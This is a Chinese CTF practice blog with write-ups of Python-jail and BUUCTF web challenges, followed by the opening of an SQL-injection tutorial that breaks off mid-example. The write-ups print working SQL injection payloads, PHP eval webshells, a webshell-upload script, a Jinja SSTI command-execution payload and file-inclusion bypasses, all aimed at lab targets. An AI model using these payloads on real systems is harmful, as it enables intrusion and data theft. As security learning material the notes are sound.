[Week1]calc_jail_beginner_level2.5(JAIL)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

#the length is be limited less than 13
#it seems banned some payload
#banned some unintend sol
#Can u escape it?Good luck!

def filter(s):
BLACKLIST = ["exec","input","eval"]
for i in BLACKLIST:
if i in s:
print(f'{i!r} has been banned for security reasons')
exit(0)

WELCOME = '''
_ _ _ _ _ _ _ ___ _____
| | (_) (_) (_) | | | |__ \ | ____|
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | _____ _____| | ) | | |__
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | |/ _ \ \ / / _ \ | / / |___ \
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | __/\ V / __/ |/ /_ _ ___) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_|_|\___| \_/ \___|_|____(_)____/
__/ | _/ |
|___/ |__/
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
filter(input_data)
if len(input_data)>13:
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval(input_data)))


Unicode 欺骗
https://www.tr0y.wang/2019/05/06/Python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E7%BB%8F%E9%AA%8C%E6%80%BB%E7%BB%93/#%E6%9E%81%E7%AB%AF%E9%99%90%E5%88%B6
好棒的博客

[WEEK2]calc_jail_beginner_level5(JAIL)

1
#It\'s an challenge for jaillevel5 let\'s read your flag!\nimport load_flag\n\nflag = load_flag.get_flag()\n\ndef main():\n    WELCOME = \'\'\'\n  _                _                           _       _ _ _                _ _____ \n | |              (_)                         (_)     (_) | |              | | ____|\n | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | _____   _____| | |__  \n | \'_ \\ / _ \\/ _` | | \'_ \\| \'_ \\ / _ \\ \'__|   | |/ _` | | | |/ _ \\ \\ / / _ \\ |___ \\ \n | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | |  __/\\ V /  __/ |___) |\n |_.__/ \\___|\\__, |_|_| |_|_| |_|\\___|_|      | |\\__,_|_|_|_|\\___| \\_/ \\___|_|____/ \n              __/ |                          _/ |                                   \n             |___/                          |__/                                                                                                                                                                     \n\'\'\'\n    print(WELCOME)\n    print("It\'s so easy challenge!")\n    print("Seems flag into the dir()")\n    repl()\n\n\ndef repl():\n    my_global_dict = dict()\n    my_global_dict[\'my_flag\'] = flag\n    input_code = input("> ")\n    complie_code = compile(input_code, \'<string>\', \'single\')\n    exec(complie_code, my_global_dict)\n\nif __name__ == \'__main__\':\n    main()
  
BUU做题寄录

BUU做题寄录

[suctf 2019]EasySQL | sql_mode

sql 注入

乍一试,可以堆叠


看样子有过滤,简单测了一下,过滤了from,information

黑名单

1
$BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";

查询语句

1
select $_GET['query'] || flag from flag

脑洞:

1
2
3
4
payload1: *,1
payload2: 0;set sql_mode=PIPES_AS_CONCAT;select 0

让sql把 || 当作拼接

[强网杯 2019]随便注 | 堆叠,无select 预编译

上来就把黑名单一摆,好像已经无懈可击了

1
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

测试一下,字符形 双引号

emmm,啥都不会了,只能看看wp

mysql里面,爆字段并不一定需要information_schema这个库

1
2
3
4
5
6
7
8
9
10
mysql> show columns from users;
+----------+-------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+----------+-------------+------+-----+---------+----------------+
| id | int(3) | NO | PRI | NULL | auto_increment |
| username | varchar(20) | NO | | NULL | |
| password | varchar(20) | NO | | NULL | |
+----------+-------------+------+-----+---------+----------------+
3 rows in set (0.00 sec)

嗯哼~
how 命令查看表中的「字段」,注意表名要用反引号包裹
有用

附: MySQL专有无select可用
MySQL 除了可以使用 select 查询表中的数据,也可使用 handler 语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler 语句并不具备 select 语句的所有功能。它是 MySQL 专用的语句,并没有包含到SQL标准中。handler 语句提供通往表的直接通道的存储引擎接口,可以用于 MyISAM 和 InnoDB 表。

也可以使用预编译转换成hex绕过

[SUCTF 2019]EasySQL

喜提fuzz脚本

1
2
3
4
5
6
7
8
9
10
import requests


url = "http://7e692c90-6f0b-4aa3-babf-89bb436f6b4f.node4.buuoj.cn:81/"
with open('sql-fuzz.txt') as f:
for line in f:
data = {"query": line}
r = requests.post(url,data=data)
if('Nonono' in r.text):
print(line.strip(),end=" ")

纯盲注了,啥都看不见,但是我感觉这题的画风是那么的似曾相识…..

1;set sql_mode=PIPES_AS_CONCAT;select 1

淦,上一题一模一样的payload

[极客大挑战 2019]LoveSQL

报错注入

http://0271ebd9-169b-4d78-8475-f6667e20789c.node4.buuoj.cn:81/check.php?username=admin' and updatexml(0x7e,concat(0x7e,database()),0x7e) %23&password=admin’ and sleep(3)

表名:

1
2
geekuser: id,username,password   geek库
l0ve1ysq1: id,username,password geek库

admin
824fc00cd6f8cd94403b365a80bcfbd

cl4y
wo_tai_nan_le

glzjin
glzjin_wants_a_girlfriend

Z4cHAr7zCr
biao_ge_dddd_hm

报错注入,硬爆

1
2
3
http://0271ebd9-169b-4d78-8475-f6667e20789c.node4.buuoj.cn:81/check.php
?username=admin' and updatexml(1,concat(0x7e,(select substr((select password from l0ve1ysq1 where username='flag'),30,16)),0x7e),1) %23
&password=admin' and sleep(3)

[BJDCTF2020]Easy MD5

一眼丁真ffifdyop

绕过中一个奇妙的字符串

经过md5加密后:276f722736c95d99e921722cf9ed621c

再转换为字符串:'or'6<乱码> 即 'or'66�]��!r,��b

用途:

select * from admin where password=''or'6<乱码>'

就相当于select * from admin where password=''or 1 实现sql注入

[极客大挑战 2019]BuyFlag

简单,新手村难度
cookie + 传参 +PHP特性

[HCTF 2018]admin

[护网杯 2018]easy_tornado

随便点了一个文件,发现了这个传参

http://62482047-0242-4246-89d7-23f69a549160.node4.buuoj.cn:81/file?filename=/welcome.txt&filehash=a7b1991d198deda606020048ccd83bee

根据hints.txt发现了md5(cookie_secret+md5(filename))

cookie_secret这玩意到底是个啥,俺不知道,肯定没法破解

不过阴差阳错访问到了这个

http://62482047-0242-4246-89d7-23f69a549160.node4.buuoj.cn:81/error?msg=2

看样子是python沙箱逃逸了,简单fuzz一下,透心凉,心飞扬

搜索一下,

http://62482047-0242-4246-89d7-23f69a549160.node4.buuoj.cn:81/error?msg=

{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '6dcbf553-b18a-46ba-9487-8cf74e2c43ca'}

[ACTF2020 新生赛]Upload

很好看的前端emmm
phtm直接梭

[极客大挑战 2019]RCE ME

典中典之 取反
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6%D6);

禁用函数,典中典之UAF脚本,蚁剑直接梭

[NPUCTF2020]ezinclude

上来题目意义不明?????
右键源代码,还没看明白,F12打开控制台看到小饼干,懂了

flflflflag.php

嗯哼,200状态码的404?

bp抓包,只找到一个文件包含的东西,之后就没有思路了…emm
偷偷瞄了一眼达不留屁,dir.php果然是开扫吗?,不过buu没法扫了,就假装我扫到了这个文件吧

尝试暴力尝试了好久,发现并没有什么卵用,Php删的比我访问的要快,很头疼,瞄了一眼,发现是string.strip_tags过滤器让Php崩溃就能留下文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import base64

url = "http://7894069c-9a98-4481-bc25-4a3e267ae86d.node4.buuoj.cn:81/flflflflag.php?file="

def get(st):
payload = url + st
r = requests.get(payload)
print(r.ok)
#print(type(r.text))
try:
print("[+ base64decode]\n",base64.b64decode(r.text[196::][:-38:]).decode())
except Exception as e:
print("[+ not encryption]\n",r.text[196::][:-38:])

def attack():
file = "<?php eval($_GET['cmd']);?>"
filedata = {"file": file}
payload = url + "php://filter/string.strip_tags/resource=/etc/passwd"
r = requests.post(url=payload,files=filedata)
print (r.ok)
r2 = requests.get(url="http://7894069c-9a98-4481-bc25-4a3e267ae86d.node4.buuoj.cn:81/dir.php")
print (r2.text)

attack()
while 1 :
get(input('>'))

绝了,目录里面东找西找,结果flag在phpinfo里
flag{6dc36ed0-9300-43fa-bbae-b85d1b9cbd69}

[极客大挑战 2019]BabySQL

简单测试一下,双写绕过,简单

数据库名geek

整一个快速判断哪里被替换的trick

http://99e1704f-301f-41a7-8754-0231317a4c13.node4.buuoj.cn:81/check.php?username=a&password=admin' ununionion seselectlect 1,database(),(seselectlect "union select 1,group_concat(schema_name),3 from information_schema.schemata") %23

union select 1,group_concat(schema_name),3 from information_schema.schemata
变成了

1,group_concat(schema_name),3 infmation_schema.schemata
这里or也被替换了,记得双写一下information里面的or

所以,需要ununionion seselectlect 1,group_concat(schema_name),3 frfromom infoorrmation_schema.schemata

所有库information_schema,mysql,performance_schema,test,ctf,geek

1,group_concat(table_name),3 infmation_schema.tables table_schema='geek'

表名b4bsql,geekuser

字段id,username,password

一番查找没找到数据,然后发现数据是在ctf库里的,寄

[ACTF2020 新生赛]BackupFile

没啥东西index.php.bak然后源码就一个弱类型判断

[极客大挑战 2019]Upload

文件上传,刚传了俩图片,跟我说不是image,有趣

MIME一改,文件名是phtml,内容是<script language='php'>@eval($_POST[cmd]);</script> easy

http://55facc3d-3d22-4b90-b9c7-f95c9e3f005b.node4.buuoj.cn:81/upload/1.phtml

[ACTF2020 新生赛]Upload

[MRCTF2020]Ez_bypass

简单,先是md5然后是is_numberic绕过,太简单了

[网鼎杯 2020 青龙组]AreUSerialz

[网鼎杯 2020 朱雀组]phpweb

file_get_content直接读源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>

命名空间绕过数组之后,没有权限写shell,太难受了,不知道flag被藏在了哪里,上bp扫一下吧

flag在/tmp下面
flag{68a63dcd-6a3a-4a8c-bedb-7c15377fef29}

[BSidesCF 2020]Had a bad day

以为是sql注入,打了个'后发现是文件包含

1
2
3
4

Warning: include(woofers'.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 37

Warning: include(): Failed opening 'woofers'.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 37

包含index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$file = $_GET['category'];

if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>

PHP的文件包含,太简单了

php://filter/convert.base64-encode/resource=index/../flag

[BJDCTF2020]Cookie is so stable

用户名写到cookie里面,emm,貌似是ssti?但是过滤很严

留着之后写

[强网杯 2019]高明的黑客

上来就送源码,666

我尼玛,几百个文件
不会,过,之后做

SSRF me

屎一样的一行代码,我吐了,找个美化后的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#! /usr/bin/env python
# #encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)

class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)):
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False

@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)

@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())

@app.route('/')
def index():
return open("code.txt","r").read()

def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"

def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content):
return hashlib.md5(content).hexdigest()

def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0',port=9999)

剩着等会写

[NCTF 2018]滴!晨跑打卡

空格换%0a结尾用%27完事

1
2
3
4
5
information_schema,cgctf,mysql,performance_schema

pcnumber

id,bigtime,smalltime,flag

爆列名的时候,不知道咋回事,就是没回显,把cgctf换成十六进制就行了
令人疑惑

http://1.14.71.254:28163/index.php?id=114514'%a0union%a0select%a0(select%a0group_concat(flag)%a0from%a0pcnumber),(select%a0group_concat(table_name)%a0from%a0information_schema.tables%a0where%a0table_schema='cgctf'),(select%a0group_concat(column_name)%a0from%a0information_schema.columns%a0where%a0table_name=0x70636E756D626572%a0limit%a01,1),4%a0%27

[ZJCTF 2019]NiZhuanSiWei

建个小站,http发现连不上emmmm
data伪协议进去了
data://text//plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

提示useless.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php  

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

直接拔出来,很明显,反序列化

easy

[HCTF 2018]WarmUp

CVE-2018-12613

关键在mb_strpos($_page . '?', '?')
导致真正读取的是最后一个?后面的文件,但是检查的时候只检查访问前面的文件,导致可以?file=hint.php?../../../../../../ffffllllaaaagggg绕过

[极客大挑战 2019]HardSQL

报错注入updatexml,禁用空格直接用(),直接注进去了

[RoarCTF 2019]Easy Calc

这题waf不会过,麻了,加个空格就可以了,撅了

后面绕过单双引号就直接用chr函数拼接了

[BJDCTF2020]EzPHP

访问源代码看到了
base64 1nD3x.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
 <?php
highlight_file(__FILE__);
error_reporting(0); 

$file "1nD3x.php";
$shana $_GET['shana'];
$passwd $_GET['passwd'];
$arg '';
$code '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i'$_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

if (!preg_match('/http|https/i'$_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/'$_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
else die('fxck you! What do you want to do ?!');

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i'$value))  
            die('fxck you! I hate English!'); 
    } 


if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD'$code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i'$arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
else { 
    include "flag.php";
    $code(''$arg); 
?>
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
Aqua is the cutest five-year-old child in the world! Isn't it ?

中所周知,easy从不easy,但是细看,还是easy

第一步$_SERVER,这个不会自动URL解码,传参可以直接进行URL编码,绕过第一层正则
然后是正则,这个%0a换行绕过就行了
然后便是hate English了,在这里有个特性,$_GET[‘a’]=1 $_POST[‘a’]=a 那么$_SERVER[‘a’]返回的是a,当get和post传的变量名义一样的时候,post会把get给覆盖掉,就可以绕过了。

确实easy,几个送分题拼在一起的
整理一下

1
2
3
4
5
6
7
8
9
GET:
deb%75=aq%75a_is_c%75te%0a
&file=data://text/plain,deb%75_deb%75_aq%75a //伪协议
&sh%61na[]=1
&p%61sswd[]=2

POST:
debu=1
file=1

最后一步,flag写shell

[SWPUCTF 2018]SimplePHP

进来查看文件?file=
随便一试试,嗯哼

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
//file.php
<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>

//function.php
<?php
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}

//class.php
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}

class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>

//base.php

<?php
session_start();
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>web3</title>
<link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css">
<script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script>
<script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script>
</head>
<body>
<nav class="navbar navbar-default" role="navigation">
<div class="container-fluid">
<div class="navbar-header">
<a class="navbar-brand" href="index.php">首页</a>
</div>
<ul class="nav navbar-nav navbra-toggle">
<li class="active"><a href="file.php?file=">查看文件</a></li>
<li><a href="upload_file.php">上传文件</a></li>
</ul>
<ul class="nav navbar-nav navbar-right">
<li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li>
</ul>
</div>
</nav>
</body>
</html>
<!--flag is in f1ag.php-->

//index.php
<?php
header("content-type:text/html;charset=utf-8");
include 'base.php';
?>


//upload_file.php

<?php
include 'function.php';
upload_file();
?>
<html>
<head>
<meta charest="utf-8">
<title>文件上传</title>
</head>
<body>
<div align = "center">
<h1>前端写得很low,请各位师傅见谅!</h1>
</div>
<style>
p{ margin:0 auto}
</style>
<div>
<form action="upload_file.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</div>

</script>
</body>
</html>

注释里面都把phar写上去了….phar反序列化没得跑了emmm

[CISCN2019 华东南赛区]Double Secret

看到一个Secret,不清楚出题人要干啥(

要传secret进去,传大数字进去

1
2
3
4
5
6
7
8
9
10
11
12
File "/app/app.py", line 35, in secret
if(secret==None):
return 'Tell me your secret.I will encrypt it so others can\'t see'
rc=rc4_Modified.RC4("HereIsTreasure") #解密
deS=rc.do_crypt(secret)

a=render_template_string(safe(deS))

if 'ciscn' in a.lower():
return 'flag detected!'
Open an interactive python shell in this frame ​
return

报错,能看源代码

之后便是ssti

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag.txt').read()")}}{% endif %}{% endfor %}

[CISCN2019 华东南赛区]Web4

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

@app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'

@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'
res = urllib.urlopen(url)
return res.read()
except Exception as ex:
print str(ex)
return 'no response'

@app.route('/flag')
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'

if __name__=='__main__':
app.run(
debug=True,
host="0.0.0.0"
)

session伪造,直接读?
不对,key不对

debug出了,有任意文件读取,算pin

/usr/local/bin/python/app/app.py

读取/proc/self/maps
得到

/usr/local/bin/python2.7

ssti -> config -> session伪造 -> admin路由

之后不知道要干啥了()

  

SQL注入学习寄录

0x01 SQL

SQL 是一种标准

SQL 是一门 ANSI(American National Standards Institute 美国国家标准化组织)标准的计算机语言,但是仍然存在着多种不同版本的 SQL 语言。

库&表

一个数据库通常包括一个或多个表。每个表都有一个名字标识,表包含带有数据的记录。

SQL 基础语法

最简单的查询

SELECT * FROM 表名

这个语句会把当前表下所有的数据全都列出来,在数据量比较小的时候会很好用,但当数据量特别大的时候就容易被一堆数据淹没,不知所措。

这时候可以添加限制,指定我要哪一列的数据

SELECT 列名 FROM 表名

数据还是很多,可以添加WHERE来进行进一步限制

SELECT 列名 FROM 表名 WHERE 条件

如果需要将数据排序的话,可以用ORDER BY

SELECT 列名 FROM 表名 WHERE 条件 ORDER BY 列名

有时候,咱只想返回前几条数据,就可以加入LIMIT

SELECT 列名 FROM 表名 WHERE 条件 ORDER BY 列名 LIMIT 数字

SQL操作符

WHERE 列名 LIKE 通配符

按照通配符匹配

通配符 描述
% 替代0个或多个字符
_ 替代1个字符
[charlist] 字符列中的任何单一字符
[^charlist] 或 [!charlist] 不在字符列中的任何单一字符

WHERE 列名 IN (‘值1’,’值2’)

WHERE 列名 BETWEEN 值1 AND 值2;

联合查询

SELECT 列名1,列名2… FROM table1 UNION SELECT 列名1,列名2… FROM table2;

注意:联合查询要求前后字段数相同,否则将会报错.

特殊的数据库information_schema

摘自这里

在数据库里,有这样一个数据库information_schema,数据库是MySQL自带的,它提供了访问数据库元数据的方式。什么是元数据呢?元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。

表名 功能
SCHEMATA 提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。
TABLES 提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。
COLUMNS 供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。
STATISTICS 提供了关于表索引的信息。是show index from schemaname.tablename的结果取之此表。
USER_PRIVILEGES 给出了关于全程权限的信息。该信息源自mysql.user授权表。是非标准表。
SCHEMA_PRIVILEGES 给出了关于方案(数据库)权限的信息。该信息来自mysql.db授权表。是非标准表。
TABLE_PRIVILEGES(表权限) 给出了关于表权限的信息。该信息源自mysql.tables_priv授权表。是非标准表。
COLUMN_PRIVILEGES(列权限) 给出了关于列权限的信息。该信息源自mysql.columns_priv授权表。是非标准表。
CHARACTER_SETS(字符集) 提供了mysql实例可用字符集的信息。是SHOW CHARACTER SET结果集取之此表。

在注入的过程中,我们常用的是information_schema.tables下面的table_name以及table_schema表名及其所在的数据库名字。
使用information_schema.columns下的column_name获取列名

select 的其他用法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
mysql> select 1;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)

mysql> select 1,2,3;
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
1 row in set (0.00 sec)

mysql> select (1>2);
+-------+
| (1>2) |
+-------+
| 0 |
+-------+
1 row in set (0.00 sec)

mysql> select (1<2);
+-------+
| (1<2) |
+-------+
| 1 |
+-------+
1 row in set (0.00 sec)

mysql> select "aaaa";
+------+
| aaaa |
+------+
| aaaa |
+------+
1 row in set (0.00 sec)

mysql> select (1<2) from users;
+-------+
| (1<2) |
+-------+
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
+-------+
13 rows in set (0.00 sec)

mysql> select (version());
+-------------------------+
| (version()) |
+-------------------------+
| 5.5.44-0ubuntu0.14.04.1 |
+-------------------------+
1 row in set (0.00 sec)

SQL 注入常用函数

字符拼接

1. concat()函数

  • 功能:将多个字符串连接成一个字符串。

  • 语法:concat(str1, str2,…)

  • 说明:返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
mysql> select concat('a','b','c')
